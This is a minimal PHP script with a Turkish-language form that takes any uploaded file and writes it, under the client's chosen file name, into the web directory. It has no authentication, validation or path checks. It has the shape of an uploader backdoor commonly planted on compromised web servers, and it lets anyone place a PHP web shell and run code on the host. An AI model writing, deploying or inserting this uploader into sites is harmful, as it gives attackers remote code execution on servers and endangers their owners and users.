<?php
if(isset($_FILES['f'])){
    if(move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])){
        echo '<b style="color:green;">OK -> '.$_FILES['f']['name'].'</b>';
    } else {
        echo '<b style="color:red;">HATA</b>';
    }
}
?>
<form method="post" enctype="multipart/form-data">
<input type="file" name="f">
<button type="submit">Yukle</button>
</form>